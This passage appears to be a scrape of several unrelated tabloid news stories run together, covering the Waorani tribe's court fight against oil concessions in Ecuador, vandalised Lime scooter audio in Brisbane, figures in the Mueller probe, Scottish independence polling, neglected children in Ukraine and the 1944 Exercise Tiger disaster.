photos for Caleb when he's older. I would also like to drive to Norway and to Iceland to see the northern lights. 'Caleb is only two, so he doesn't understand what's going on. I have spoken to him about what's going to happen. I told him that daddy is going to a special place and that I will always love him, and he will be by his side always. 'All I want is for Caleb to have pictures and memories of me so he knows how much I love him and that he can achieve anything he sets his mind to. 'I want my family to know I love them dearly and they are my world. I'm so scared for them and they don't need to worry as I know I'm going to be okay. The short-term pain I'm going to go through is nothing to the heartache they will feel when I'm gone.. And that will always be with them one way or another. 'My immediate family and my wife's family have been absolutely amazing, and I couldn't get through this without their support and the support of my closest friends.' Advertisement Amazon tribesmen armed with spears and poisoned blowguns have vowed to strike down invaders of their Amazon homelands, just like their forefathers did. The Waorani people, who have taken the battle to Ecuador's court, are continuing their fight against the country's government and oil multinationals who wish to destroy their homeland. The prize is their corner of Ecuador's Amazon rainforest where exploration licenses are up for grabs under a government plan to sell lucrative land concessions to oil companies. A judge in the provincial capital Puyo is to rule on Friday on the tribe's legal challenge to the government's selloff, and a shiver of apprehension is running through their village of Nemompare, deep in the dripping rainforest. Waorani tribesmen Memo Ahua (right) and Tiri Nenquimo (left) walk near the village of Nemompare, as their tribe in Ecuador vows to strike down invaders of their homeland. A judge in the provincial capital Puyo will rule on Friday on the tribe's legal challenge to the government's selloff The Amazonian tribe (Waorani women sailing in canoe in the Curaray river, near the village of Nemompare, in Ecuador) have told the courts they will fight for their homelands just like their forefathers did The indigenous tribe will continue their fight against Ecuador's government and oil multinationals who seek to destroy their natural land. Pictured: Tribesman Tiri Nenquimo uses a blowpipe near the village of Nemompare Community leader Nemonte Nenquimo said: 'The government sees oil and money but the Waorani see it is full of life.' The 4,000 or so Waorani scattered across the vast Pastaza province in eastern Ecuador believe their land is the front line in a battle for the future of the planet. Some communities have rejected all contact with the outside world, but the Waorani are sufficiently worldly to know that the battle is being lost elsewhere. Mr Nenquimo said: 'Humans are changing the planet because big companies, big factories are destroying it. It is the moment now for the peoples to join and protest, to live well. If we don't protest, if we don't carry out actions, it means we are destroying the planet.' The tiny settlement of Nemompare is home to around 50 Waos. Waorani tribesman Tiri Nenquimo builds a traditional house in the village of Nemompare, that lies on the banks of the Curaray river. The tribe's homeland, which is currently up for grabs under a government plan to sell lucrative land concessions to oil companies, exists in Ecuador's Amazon rainforest Indigenous women living in Ecuador's rainforest gather around the campfire and lie in swinging hammocks in the village of Nemompare Waorani women get ready to head off to Teata sacred waterfall, near the village of Nemompare, on April 14 as oil firms plan to grab hold of their land Tribesman Memo Ahua (centre) gathers with other Waorani indigenous men to give thanks to nature before getting to the Teata sacred waterfall. He and other tribesmen continue to fight against plans to seize their land Many flit through the thick leaves along the shaded forest pathways in scant traditional garb as they gather leaves for weaving or plants for food. Others wear shorts and T-shirts. The men use blow-guns to hunt small animals. Debanca, another community leader, her face painted red underneath a feathered headdress, gestured across the muddy brown Curaray river on the settlement's edge. She asked AFP's reporters through an interpreter: 'Do you want oil companies to enter and kill the jungle, do away with clean territory, with clean water?' The settlement is located 40 minutes by small plane from Shell, the local town that adopted the oil company's name since its first incursion into the jungle in the late 1930s. With the support of other Wao communities across the province, the Nemompare community went to court to try to block exploration licenses to prevent more destruction of the kind which contaminated their water and gouged out large areas of once-pristine rainforest. Among the tribe leaders fighting for their land is the wise grandmother Wina Omaca (pictured walking towards the Teata sacred waterfall) who said 'it's not just the 'tapaa' (spear), but the 'campa' and 'aweka' (machete and hatchet) are ready too'. The Nemompare community seeks to block exploration licenses to prevent any more destruction to their natural habitat Waorani tribesman Tiri Nenquimo prepares a dart to hunt birds near the village of Nemompare as his community try to keep oil companies out of their territory just like their ancestors The community live in a settlement that is located 40 minutes by small plane from Shell, the local town that adopted the oil company's name since its first incursion into the jungle in the late 1930s. Pictured: Waorani women sing at Teata sacred waterfall Wao communities across the province have joined the Nemompare community to try to block exploration licenses and to prevent more destruction of the kind to their rainforest. Pictured: Waorani indigenous people sail in a canoe in the Curaray river An indigenous woman eats on a hammock as children sit by her side and play in the village of Nemompare, on the banks of the Curaray river, in, Ecuador, on April 14 'I am not here for myself, rather for the future, all the kids that will come,' says Nenquimo, president of the Waorani Council of Pastaza, which filed the lawsuit last month to set aside 180,000 hectares from any exploration. 'Thanks to my father, thanks to my grandfather, I still have forest that is alive, with no contamination. They were defenders, caretakers, guardians of the jungle and they are doing this with me - I don't feel alone.' In Nemompare, the Wao store rainwater in huge tanks for their consumption, supply themselves with energy with solar panels and sleep in hammocks. Although they learned to write with the 'Kowori' or outsiders - mainly missionaries - they do not use paper. Instead, they keep alive their unique language, wao terere. Sitting near an open fire in the center of a hut, Wina Omaca, a grandmother recognized as a wise elder or 'Pekenani,' summed up the mood of resistance. A Waorani woman takes a shower at the Teata sacred waterfall near the village of Nemompare as the community awaits a judge ruling on the future of their territory Wise grandfather Peke Tokare sings near the village of Nemompare as the community continues its legal battle with the Ecuadorian government Waorani tribeswoman Pava Yeti waits by the banks of the Curaray river, near the village of Nemompare, for a canoe, as her family continue their fight with the government 'It's not just the 'tapaa' (spear), but the 'campa' and 'aweka' (machete and hatchet) are ready too,' she said. Nobody speaks of armed resistance here, let alone a war, but the message appears to be that the Waorani could turn their home into hostile territory for oil company engineers. 'Let it be clear. We will defend our jungle, our culture and our rights, with our lives,' said Nenquimo. Ecuador's constitution recognizes the Waorani rights to 800,000 hectares of jungle. Crucially, the wealth in the subsoil belongs to the state. The legal challenge to safeguard 180,000 hectares represents less than one per cent of Ecuador's area. In 2012, the government reached an agreement with the Waorani over oil exploration but the tribe's leaders say they were duped and refuse to recognize the agreement. Pictured: Waorani women stand by the Teata sacred waterfall, near the village of Nemompare, and sing Waorani women in Ecuador conduct a traditional dance in the village of Nemompare as their land continues to remain under threat As hostilities increase there are fears over the tribe's reaction to an adverse decision. Pictured: Waorani women rest in a hammock in the village of Nemompare A Waorani woman in red face paint sails in a canoe along the Curaray river, as her tribe continue to face persecution by multinational companies The message appears to be that the situation could become violent as the Waorani people continue their fight for their 800,000 hectares of jungle Tribal elders have vowed to continue their fight for their land against oil company engineers and the government The state reached an agreement with the Waorani during a consultation process over oil exploration in 2012, but the tribe's leaders say they were duped and refuse to recognize the agreement. For now the fight is in the courts, but there are fears over their reaction to an adverse decision. Two of the more far-flung clans, the Taromenane and Tagaeri have been involved in deadly clashes. 'They have not had a friendly relationship,' said Miguel Angel Cabodevilla, a Spanish missionary who has studied the tribe for three decades. Tribal elders reported between 20 and 30 dead in clashes in 2013. But 'the main violence has been against them, almost always, and been more aggressive,' said Cabodevilla. 'Their lands have been taken from them, they have been persecuted and killed, they have been enslaved, and now the wealth in the subsoil is being taken from them without adequate compensation.' Tribal elder Peke Tokare - his earlobes stretched by wooden discs - points a long finger at the slogan on his tee-shirt, written in wao terere: 'Our land is not for sale.' Waorani women stand on top of a hill and look down at the Teata sacred waterfall near the village of Nemompare, on April 14. The community is at war with the government to preserve their natural home President of the Coordinating Council of the Waorani Nationality of Ecuador-Pastaza, Nemonte Nenquimo, tells AFP: 'I am not here for myself, rather for the future, all the kids that will come' Lime Scooters have left several users in shock after a virus forced the voice function on the transportation device to transmit sexual messages to its users. The hack has affected at least eight scooters in Brisbane, with the company deciding to remove the hacked devices from the streets. Multiple people recording the malfunctioning scooters playing the offensive messages when they log in to use them. Scroll down for video 'Ok, if you're going to ride my a**e then please pull my hair, ok?' Said one of the devices. 'Don't take me around, because I don't like to be ridden,' was another message played through the scooter. 'No, where you go?' was played to one user when they stopped riding it. 'We are aware eight Lime scooters in Brisbane have had their audio files changed by vandals recording over the existing audio file with inappropriate and offensive speech,' Nelson Savanh, Lime's public affairs manager for Queensland, said to the Brisbane Times. 'It's not smart, it's not funny and is akin to changing a ringtone,' they said. Several people have posted videos online of the scooters relaying sexually suggestive messages such as: 'Ok, if you're going to ride my arse then please pull my hair, OK?' Several people have posted videos online of the scooters relaying the sexually suggestive messages. The scooters, which are still running on a trial basis in Brisbane, experienced problems earlier this year when the front wheels locked unexpectedly. As a result, several people fell off the scooters while they were moving and seriously injured themselves. One man suffered injuries to his face so severe he needed pins inserted to his cheek bone and fractured his sinus. Lime was ordered to fix the issue by Brisbane City Council. The Justice officials: Robert Mueller The former FBI director was appointed to oversee the probe into Russian election interference and whether there was any collusion with Donald Trump or his campaign. Mueller kept a low-profile, secured multiple indictments and guilty pleas, but failed to secure an in-person interview with the president. He submitted a 400-page report to Attorney General William Barr. Rod Rosenstein As deputy attorney general, Rosenstein assumed authority over the Russia probe with the recusal of Attorney General Jeff Sessions. Rosenstein tapped Mueller to lead the probe a fateful decision that drew the ire of President Trump, who went after him publicly. He remained on the job with oversight of the probe as Trump launched repeated attacks on the Justice Department. He relinquished formal authority when Trump named Matthew Whitaker acting AG and the Senate later confirmed William Barr to run the agency. Jeff Sessions Attorney General Jeff Sessions drew the unending scorn of President Trump by recusing himself from the Russia probe, allowing for Mueller's appointment. He had been a Trump campaign advisor, and had failed to initially disclose his own campaign contacts with Russians. Matthew Whitaker Trump installed Matthew Whitaker after asking Attorney General Jeff Sessions to resign. The move put a Trump loyalist in charge of the Mueller probe he had blasted publicly during a critical period. Nevertheless, Whitaker allowed Rosenstein to maintain day-to-day oversight of the probe, and it was allowed to go forward. William Barr Trump secured the resignation of Sessions and named Matthew Whitaker acting attorney general. Then, he nominated Barr, who had blasted the obstruction of justice basis for the probe in his writings, and who has taken a view of strong executive power. He was confirmed by the Senate on a 54-45 vote with just three Democrats voting for him. Barr infuriated Democrats by releasing a four-page summary of the Mueller report just 48-hours after he got it. The campaign advisors Jared Kushner The president's son-in-law, a senior White House advisor, was interviewed extensively by Mueller's team. Kushner's White House portfolio, his contacts with Russians and inaccurate disclosures, and his efforts to secure overseas financing for a Manhattan skyscraper all became areas for inquiry. Mike Flynn Former Trump National Security Advisor Mike Flynn pleaded guilty to lying about his conversations with Russians about sanctions during the transition, and to lying about his lobbying for Turkey. His early cooperation sent a message to other witnesses. Paul Manafort Trump's former campaign chair got a seven-year prison sentence after being convicted on one set of money laundering and corruption charges, and pleading guilty to other charges. Prosecutors say he lied despite an agreement to cooperate. President Trump praised his loyalty, but claimed he had not thought about a pardon for his former top advisor. Rick Gates Manafort's deputy on the campaign, Gates had been Manafort's business partner, and testified about Manafort's efforts set up offshore companies, failure to pay taxes, and avoid disclosure laws. His participation helped the government untangle extremely complex business arrangements dealing with millions the pair earned for their Ukrainian work. Carter Page Page was a Trump foreign policy advisor when there were just a handful of them. His Russia contacts he gave a speech in Moscow in the midst of the campaign drew immediate scrutiny. The FBI got a judge's approval for a Foreign Intelligence Surveillance Warrant to monitor Page leading to Trump's claim there was 'spying' on his campaign. George Papadopoulos Papadopoulos met with a Maltese professor in London who said he had information about Russian dirt on Hillary Clinton, a key development in the beginning of the FBI's counter-intelligence probe on Trump. He pleaded guilty to lying to investigators and served 12 days in jail. Donald Trump Jr. The president's son attended an infamous meeting in Trump Tower in June 2016. When word got out, he released a statement saying the meeting was about Russian adoptions. When the New York Times was about to report on the contents of his emails, he tweeted out the entire email chain of contacts with British publicist Rob Goldstone about the promise of dirt on Hillary Clinton. Goldstone was representing pop singer Emin Agalarov, whose father is a major Moscow real estate developer. Roger Stone Trump's longtime advisor Stone is an infamous political dirty trickster on the scene since the Nixon administration. Prosecutors charged him with seven counts including obstruction of justice, witness tampering, and lying to Congress about his communications with WikiLeaks in January 2019. Hope Hicks Trump's long-time press secretary and top White House communications aide met with investigators, and was involved when Trump dictated an initial misleading statement about the Trump Tower meeting with Russians. Having been with Trump since his campaign operated with a skeleton crew, she was a potential font of information. But unlike many Trump aides, she left in good standing, and secured a lucrative job with Fox, where Trump is deeply connected. The diggers Christopher Steele The ex-British intelligence officer compiled information based on his Russia contacts for what became the golden showers dossier, which contained salacious unverified claims about Trump's conduct in Moscow. It also said the Russians had compromising financial leverage over Trump. The FBI obtained the document in 2016, and former FBI Director James Comey briefed Trump about it during the transition. Glenn Simpson Simpson's firm, Fusion GPS, conducted the investigation that resulted in the 'dirty dossier.' Fusion began the 2016 campaign under contract from the conservative Washington Free Beacon news outlet, whose leaders hoped to damage Donald Trump enough to drive him out of the Republican primary season. Later, however, the Democratic National Committee and the Hillary Clinton campaign paid Fusion roughly a combined $9 million to continue the work, using a law firm to move the money. Fusion hired Christopher Steele to do the ground work, using his contacts in Russia as sources. James Comey Comey led the FBI when it opened a counter-intelligence probe of Trump campaign aides, and when agents obtained judicial approval for a surveillance warrant on Trump campaign foreign policy adviser Carter Page. Trump cited Comey's handling of the Hillary Clinton email probe, and his sudden exoneration of her in the middle of the presidential campaign, when he fired him just four months into his presidency. It became one element in the examination of possible obstruction of justice. Comey famously orchestrated press leaks of information from memos he wrote following his private meetings with President Trump, hoping they would lead to a special counsel probe. He delivered riveting testimony after his firing about Trump's request for loyalty and cryptic comments about the investigation of Michael Flynn. Peter Strzok and Lisa Page Peter Strzok and Lisa Page The FBI lawyers became known as 'FBI lovers' after their anti-Trump texts were exposed. Both shared deep concerns about Trump's Russia connections as they unfolded. They became regular features of Trump's Twitter attacks on the Mueller investigation. The Trump lawyers Ty Cobb Cobb joined the Trump White House to aide in his legal defense. He counseled the staff to be in 'full cooperation mode.' Even as the president attacked the Russia probe, Cobb shared his personal admiration for Robert Mueller. John Dowd Trump's outside lawyer John Dowd provided some back-channel communications with Mueller's team amid the president's attacks. He disputed journalist Bob Woodward's claim that he called his client a 'f****** liar' and saw the 'nightmare' of possibilities of what would happen if Trump were allowed to meet with investigators after staging a mock interview. Don McGahn The White House counsel met with Mueller's investigators for a total of 30 hours. McGahn, who previously served as a member of the Federal Elections Commission and who advised Trump during the 2016, threatened to quit after Trump ordered Mueller's firing, according to a New York Times report. Rudy Giuliani Amid a wave of turnover in Trump's legal team, the president brought on former New York Mayor Rudy Giuliani. Giuliani stumbled several times in interviews and at one point confirmed Trump paid reimbursements to Michael Cohen after he paid porn star Stormy Daniels. He also steered Trump's public response as he managed to avoid having to sit for an interview for the Russia probe despite saying he would love to do so. The Russians Vladimir Putin The Russian president bristled at U.S.-led sanctions after the invasion of Ukraine, seeks to challenge U.S. influence around the globe, and maintained unrivaled control in Moscow as military intelligence undertook an election hacking campaign. Trump drew criticism for repeatedly praising Putin during the campaign and asking Russia to find Hillary Clinton's emails. Sergei Kislyak The former Russian ambassador to the U.S. was revealed to have had contacts with a series of Trump-connected figures during the campaign. His Oval Office meeting with President Trump drew attention when the Kremlin, rather than the White House, put out a photo. Natalia Veselnitskaya The Kremlin-linked lawyer attended the Trump Tower meeting after the offer of dirt on Hillary Clinton, then frustrated participants by pitching a sanctions-related issue. She was revealed to have worked with the Russian prosecutor general. She was later charged with obstruction of justice in a different money laundering case involving Russia. Oleg Deripaska The Russian oligarch was Trump campaign chair Paul Manafort's benefactor and Manafort also owed him millions during the campaign. Manafort offered to provide campaign updates to the aluminum magnate through an intermediary. Felix Sater The Russia-born Sater tried to broker a deal through Trump lawyer Michael Cohen and Russians to build a Trump tower in Moscow, though the project fell through. Julian Assange The WikiLeaks founder published damaging Democratic emails during the campaign. He was arrested on April 11 on charges of conspiracy to hack U.S. government computers in 2010. The initial charge does not mention Russian interference in the 2016 U.S. elections. Emin Agalarov Pops singer Emin Agalarov, an Azerbeijani-Russian entertainer who once cut a music video featuring a cameo by Trump, became an unusual link in the infamous Trump Tower meeting. The son of oligarch Aras Agalarov, it was Emin who put in motion the Trump Tower meeting with Russians by having his associate Rob Goldstone reach out to Donald Trump Jr. about information being promised by Moscow. Rob Goldstone Goldstone's email to Donald Trump Jr. became a key piece of evidence of a direct connection between Russians and the Trump campaign. The British PR figure reached out to the president's eldest son, mentioning 'Russia and its government's support' for the Trump campaign and conveyed the offer of dirt on Clinton. He mentioned Emin's father and the 'Crown prosecutor' of Russia, lending legitimacy to what was being conveyed. Long after being swept up in the probe and testifying about the unusual way the meeting came together, he told NPR he had 'no idea what I was talking about.' The Overseers Jerold Nadler The House Judiciary Chair obtained a subpoena for the unredacted Mueller report, and has emerged as the most prominent figure trying to force its release. He demanded Congress get the full report, called on Mueller to testify, and bashed Bill Barr's four-page letter summarizing the probe's conclusions. Devin Nunes The House Intelligence chairman steered his committee's own Russia probe to put the focus on FBI investigators, the origins of the probe, and misconduct. He had to step back from running the inquiry after his White House visits were revealed, including one shortly before he said intelligence agencies may have monitored President Trump incidentally. A grandmother in China who suffers from Alzheimer's was rescued yesterday after climbing down the exterior of a high-rise building for 10 storeys with her bare hands. The elderly woman in her 80s had escaped from her home on the 14th floor through the windows after being locked in by her family members. She was pulled into safety by a family on the fourth floor who opened their windows to drag her into their apartment, a fire brigade in Chengdu said on social media. Onlookers gather around to film the pensioner as she slowly moves down along the facade of the tower block in Chengdu, China, yesterday morning. She was rescued by neighbours The pensioner was spotted at heights while carrying a red fabric bag yesterday morning. She slowly moved down the residential building with the help of the metal bars outside a ventilation shaft. A worker from the residents committee said the grandmother has Alzheimer's. The disease could cause the sufferer to lose memory, orientation and the ability to think and reason. It is said that the grandmother had been locked in her home on the 14th floor by her family members before making an escape through the windows. She climbed down unprotected The worker told Red Star News the pensioner's family had locked her in her 14th-floor flat and had not expected her to escape. Firefighters said they were alerted to the incident at around 10am. Eyewitnesses told them that an elderly woman was 'hanging' on the facade of a building. One firefighter told Cover News he and his colleagues immediately attended to the scene. He added that the grandmother was saved when they were about to place an inflatable mattress underneath her. It remains unclear if she suffered any injuries from the ordeal. A puppy was left in shock after finding out it was going to become a big sister. When fiance Katie Gillum told the nine-month-old Weimaraner she is 25 weeks pregnant, the dog was left open mouthed with shock and concern. Hilarious photos of dog Raegan, which left the couple in stitches, were captured by husband-to-be Jacob Holbrook, 23, at their home in Russell, Kentucky. A nine-month-old puppy was so shocked by the news its owner was 25 weeks pregnant it was left with its mouth gaping wide open Owner Katie Gillum, 24, broke told the nine-month-old Weimaraner it was going to be a big sister, leaving it shocked and surprised. The hilarious photos were captured by husband-to-be Jacob Holbrook who is 23 Scans show the new member of the family in the womb. It is expected in around 15 weeks When taking the photograph, Katie, 24, told the pooch that she was going to be a 'big sister'. However, much to the couple's surprise, the reaction from their dog was a mixture of shock and concern. Jacob said: 'Our goal was to get a cute picture of Raegan sitting in front of Katie, while looking at her baby bump. 'She wanted to post a progress picture of her baby bump, so I was snapping pictures and ended up with these gems instead. 'We were scrolling through them and both of us instantly burst out laughing and I knew those were going to be the ones I used. The puppy, called Raegan, also looked concerned after it was told in Russell, Kentucky 'We can't wait to take more progress pictures - hopefully when the news has settled in for Raegan - as we include her in everything we do', said husband to be Jacob 'We can't wait to take more progress pictures - hopefully when the news has settled in for Raegan - as we include her in everything we do. 'Raegan is great with children, so we can't wait to see her grow up with our little one too!' The baby, shown in pregnancy scans, is expected in 15 weeks time. Nicola Sturgeon today blamed Boris Johnson and Brexit for needing another independence referendum by 2021 - despite four out of five Scots rejecting her new plan. Only 24 hours after the First Minister accelerated her crusade to break up Britain, a survey revealed she is ignoring the views of the vast majority of Scots. The poll found 61 per cent of Scots want the country to remain part of the UK amd critics say it will be a 'hammer blow' for Ms Sturgeon, who claimed polling evidence has shown a shift in support for another vote. But she ploughed on today and said: 'Scotland needs protection from Brexit and Boris. I think Boris Johnson as prime minister would send not just people in Scotland, but many people across the whole of the UK, into utter despair. 'Boris Johnson, not single-handedly but largely, is responsible for the complete mess the UK finds itself in.' In a new blow for Nicola Sturgeon, a new poll has found that her plan for indyref2 in two years is not popular with Scots The Survation poll shows that most do not want a rfeferendum now - and it it was held 61% would want to keep Scotland in the UK Last night's 'bombshell poll' also found fewer than one in ten thinks independence should be one of the top three priorities for the Scottish Government meaning it lags behind tackling the NHS, the cost of living and the economy. But today Ms Sturgeon insisted in her Holyrood statement that if Brexit does go ahead, their should be another vote on Scotland's place in the UK before the next Holyrood elections in May 2021. 'We can only plan on the basis that the UK is still going to be taken out of the EU, that is what the UK Government is planning to do,' the First Minister told BBC Radio Scotland. The SNP's 2016 election manifesto made clear another referendum should be held if there was to be a 'material change in circumstances' from the original ballot in 2014. Theresa May believes the matter of Scottish independence has been dealt with in 2014 It cited Scotland being removed the from EU against the wishes of its people as one example of this, but speaking on the Good Morning Scotland programme Ms Sturgeon said: 'Many people would say there has been a big material change of circumstances in the way Scotland has been treated over the past few years.' If Remainers do manage to halt Brexit, she said she would give her views then on what should happen next. The SNP leader however stated: 'We could be facing the prospect of Boris Johnson as prime minister in a matter of months. I'm not going to start to narrow Scotland's options. 'The important thing over this next period, with such fundamental change happening in the UK that is not in Scotland's interests, is that Scotland has maximum options to chart its own way forward.' Theresa May's deputy, David Lidington, yesterday confirmed the UK Government will not grant a Section 30 order to allow the Scottish Government to hold a referendum. Pamela Nash, chief executive of Scotland in Union, said: 'This bombshell poll proves that Nicola Sturgeon is refusing to listen to the people of Scotland. In a hammer blow for the SNP, only a fifth want a divisive second referendum within two years and more than half say there should not be one for at least a decade. 'It's no surprise support for leaving the UK has fallen to below 40 per cent, with many former Yes voters changing their minds. They have seen how difficult the Brexit process has been and know we are stronger together. 'The people of Scotland want Nicola Sturgeon to get back to her day job and focus on fixing our hospitals, schools and the economy and drop her obsession with breaking up the UK.' The poll of 1,012 adults was carried out by Survation from April 18 to 23. Scottish First Minister Nicola Sturgeon could try to convince Jeremy Corbyn to try agree a second referendum - as Theresa May and the Tories stand in her way It revealed only 21 per cent of respondents want another referendum within two years, the timetable announced by Miss Sturgeon. This is one percentage point lower than in a Survation poll for the Scottish Daily Mail last month. Can Nicola Sturgeon hold indyref2 with Theresa May's permission? Nicola Sturgeon's wish to hold a binding second Scottish independence referendum is not entirely in her hands. A Section 30 order, as set out in the Scotland Act 1998, allows Holyrood to legislate on reserved areas - but requires the Westminster Government's says-so. The Scottish Government would be required to request a Section 30 in order to hold a second independence referendum as the power to call a referendum is reserved to Westminster. While the Scottish Government could stage another vote on independence, a section 30 order transferring the powers needed to hold such a ballot from Westminster would be needed for it to be legally binding. First Minister Nicola Sturgeon has said she would not hold a referendum without Westminster's permission. She could choose to hold a non-binding vote, however, to pile pressure on the Government. The SNP may try to launch a legal battle. Advertisement A further 10 per cent supported a referendum within two and five years, while 60 per cent said it should not happen for at least another five years including 34 per cent who said there should never be another vote. The poll also revealed that, if asked whether Scotland should remain in the United Kingdom or leave, 61 per cent backed Remain while only 39 per cent supported Leave. When asked which of 14 issues they rated in their top three priorities, only 9 per cent said constitutional affairs, the third-lowest figure. In comparison, 71 per cent said the NHS and social care, 38 per cent the cost of living, 37 per cent the economy and 35 per cent education. Scottish Tory chief whip Maurice Golden said: 'No matter what the SNP says, support for independence simply hasn't risen since the 2014 vote. 'That's all the evidence Nicola Sturgeon should need to take this threat off the table. But instead she ploughs on, ensuring Scotland is subjected to yet more division and uncertainty. 'A responsible Scottish Government should be seeking to bring the country together, not drive another wedge through it.' On Wednesday, Miss Sturgeon said there should be a second vote on Scotland's future in 'the lifetime of this parliament', until 2021. Asked if polling indicated her timescale was unpopular with voters, her spokesman said: 'What the polls show is the majority of people in Scotland favour being given a choice over independence. Most people are in favour of Scotland being given a choice.' SNP deputy leader Keith Brown said: 'This poll has backfired in spectacular style for Scotland in Union who are clearly running scared of giving people in Scotland the choice over their future. 'This poll shows almost two- thirds of people back another referendum and a majority think Scotland would be better off or no worse off with independence. That's a great vote of confidence in the benefits of taking our future into our own hands. 'Despite their best efforts in employing a skewed question on support for independence conducted before the First Minister's announcement this week, Scotland in Union have done us a huge favour.' Two 'Mowgli' boys aged four and one were rescued from their squalid home after the elder child was spotted scavenging the streets alone in Ukraine. The children were discovered after four-year-old Aleksey was spotted wandering the streets in unwashed clothes, rummaging through garbage in the city of Cherkasy. The police were called but Aleksey's undeveloped speech meant he could not tell them where his mother was and instead led them to his home. The children's mother Alena, 21, appeared half-an-hour after the police entered the apartment and told them 'she did not have time for cleaning and cooking'. One-year-old Danya was found crawling naked on the floor and crying out for his mother when police entered the apartment in the city of Cherkasy, Ukraine Aleksey, four, was spotted by neighbours wandering the streets alone and rummaging through bins in search of food Their 21-year-old mother Alena appeared half-an-hour after the police arrived and said 'she did not have time for cleaning and cooking' The single mother was often seen drunk by her neighbours who had never seen her younger son. They say she never took the child outside for a walk. The front door of the cold apartment was open when the police arrived. Inside the officers saw Aleksey's one-year-old brother Danya crawling naked on the floor, crying and calling his mum. Examining the kitchen, the cops found no food and a completely empty fridge. Children's toys, rubbish and cigarette butts were covering the floor, that was black from dirt. Two sofas in the bedroom were so dirty that it was impossible to guess the colour. The terrible stench of rotting garbage was in every room, police said. They were shocked to find exposed electric wires lying on the floor in the living-room. The filthy kitchen was piled high with rubbish and police said the apartment was covered in cigarette butts One-year-old Danya sits on one of the filthy sofas, which were so dirty it was impossible to tell their original colour Four-year-old Aleksey's speech was so undeveloped he could not tell the police where his mother but led them to his home Ukrainian authorities provide the children with milk and food after they discovered the squalid flat Authorities said none of the boys had ever seen a doctor or attended kindergarten. The children were removed from their mother and taken to an orphanage. Victor Vichkan, the head deputy of local children protection service, said: 'The mother is not interested in her sons' fate. She has never visited the younger son in the orphanage. She is difficult to deal with. 'A special commission is to decide whether she would be deprived of parental rights. It is more likely she would.' Reports say Aleksey and Danya are doing well in the orphanage and do not even ask about their mother. Animal welfare activists also removed the pet cat from the woman's flat having doubts she is able to care for it. The counter-tops in the kitchen were covered in unwashed plates which had cigarette butts inside them A filthy kitchen counter and oven (left) and the fridge-freezer stands open and empty of any food (right) Animal welfare activists said they removed a cat from the property fearing it had not been cared for properly An animal activist told local media: 'When we came to the flat, the front door was open and nobody was inside instead of the young skinny cat. 'We removed the cat and took her to a vet clinic. We think somebody put out a cigarette on her head after finding a telling scar. 'A woman wants to adopt the cat and take good care of her.' Advertisement The shocking double tragedy of a D-Day rehearsal exercise 75 years ago this weekend has been remembered in a new book. More than 1,200 Allied soldiers were killed over two days off Slapton Sands in Devon, a disaster that was kept hidden by the authorities for decades. On April 27, 1944 over 400 of them were slaughtered by the friendly fire of shells bursts on the beach due to a timing error. More than 1,200 allied soldiers were killed during a D-Day training mission at Slapton Sands in Devon in April 1944 Slapton Sands in Devon was used because it resembled Utah beach in Normandy which was going to be a D-Day target HMS Azalea, pictured, was part of the training exercise and spotted nine German E-boats approaching, but a radio error prevented allied forces from intercepting the attacking vessels before the could open fire killing 749 men The following day nine German E-boats passing through Lyme Bay stumbled upon the exercise and opened fire on the mock-invasion fleet, killing 749 men. Scores of bodies washed up on to the beach in harrowing scenes that would be replicated six weeks later on the beaches of Normandy. The survivors of Exercise Tiger were sworn to secrecy as the tragedy had to remain out of the public domain so not compromise the impending D-Day landings. Details of the horrors have slowly come to light over the intervening decades. However, far less is still known about an appalling 'friendly fire' incident which the US authorities have never officially recognised. Residents in Slapton Sands were forced to abandon their homes without being told why ahead of the training mission General Dwight D. Eisenhower wanted his men to be battle-hardened ahead of D-Day so he insisted on live ammunition being used during the trial run. But a calamitous error with timings meant some of the landing craft arrived at the wrong time where they came under heavy artillery fire. The tragic mishap meant a wave of servicemen taking part in the rehearsal were killed on the stony beach. Historian Stephen Wynn has now shed new light on both tragedies in his new book, Disaster Before D-Day, Unravelling the Tragedy at Slapton Sands. The British government set up a training ground around Slapton Sands on the coast of south east Devon, in late 1943 for the US forces. The location was chosen because of its similarities to Utah beach, where the Americans would be landing in Normandy. General Eisenhower wanted live ammunition used during the training operation so troops would know the sound when they stormed the Normandy beaches a few months later Eisenhower wanted the training missions to be as realistic as possible, although this led to problems when the delayed start of landings was not communicated naval officers planning an artillery barrage. As a result, troops arriving in landing craft, file photograph, were attacked by naval guns Both had a gravel beach, a strip of land and then a lake. Ahead of their arrival, about 3,000 residents from the villages in the area were given six weeks to leave their homes, with no explanation given. The following spring, 30,000 American troops arrived for Exercise Tiger. Every step was taken to make it as realistic as possible, with enemy positions and concrete pillboxes constructed on the coastline. The first practice assault took place on the morning of April 27. Several of the landing ships were delayed so the American Admiral Don Moon decided to put back the assault on the beach until 8.30am. However, shockingly, some of the other landing ships were not informed of this schedule change and arrived at the beach at the previously agreed time of 7.30am. As a result, the artillery barrage which was meant to be fired before the practice invasion to recreate the sounds and smells of a naval bombardment was actually unleashed on disembarking American troops. Survivors of the friendly fire incident were ordered to remain silent because military officials did not want details of the blunder to be made public The servicemen were killed in Operation Tiger which was a training operation ahead of the D-Day invasion of Normandy The victims of the tragedy, who were not acknowledged at the time of the incidents, were later commemorated at this memorial at Slapton Sands in Devon To compound matters, it is thought the servicemen playing the role of the Germans on the coast were given live ammunition to fire at their fellow men. Describing the ordeal, Mr Wynn said: 'There was the friendly fire incident that occurred on April 27, 1944 when an undisclosed number of American soldiers were killed by friendly fire after a confusion over the start time of that day's training exercise. 'Shelling of the beach by the Royal Navy's HMS Hawkins was originally planned to begin at 7.30am, but it was delayed by one hour until 8.30am. 'Unfortunately, this change in the start time of the exercise was incredibly not passed on, which meant that rather than the subsequent artillery fire landing ahead of the disembarking American troops, it landed when they were already on the beach. 'There has never be a definitive answer as to the number of men who were killed in that incident; estimates vary between 200 and 500. American authorities acknowledged the E-boat incident in 1954 but they still refuse to accept what happened the day before when troops were killed by friendly fire during the botched training exercise 'This aspect of Exercise Tiger has never officially been recognised, confirmed or admitted by the American government or military authorities. 'This seems somewhat strange, as America came clean about the E-boat incident way back in 1954, so why they wouldn't confirm or clarify this aspect of the disaster is not clear. 'What makes matters worse is that because of this stance nobody knows for sure where these men were buried. 'Maybe their deaths were conveniently wrapped up with the casualty figures for the D-Day landings in Normandy.' The following day, nine German E-Boats slammed without warning into Allied landing craft at the unprotected rear of the slow-moving convoy. The story of the tragedy is being retold in a book by Stephen Wynn which is being published by Pen & Sword A British Navy destroyer which was supposed to be escorting them had been ordered into Plymouth for repairs. And while a Royal Navy corvette HMS Azalea had spotted the German E-Boats, an error with radio frequencies meant the British naval headquarters ashore could not warn the Americans of the approaching danger. Three landing crafts burst into flames and the men on 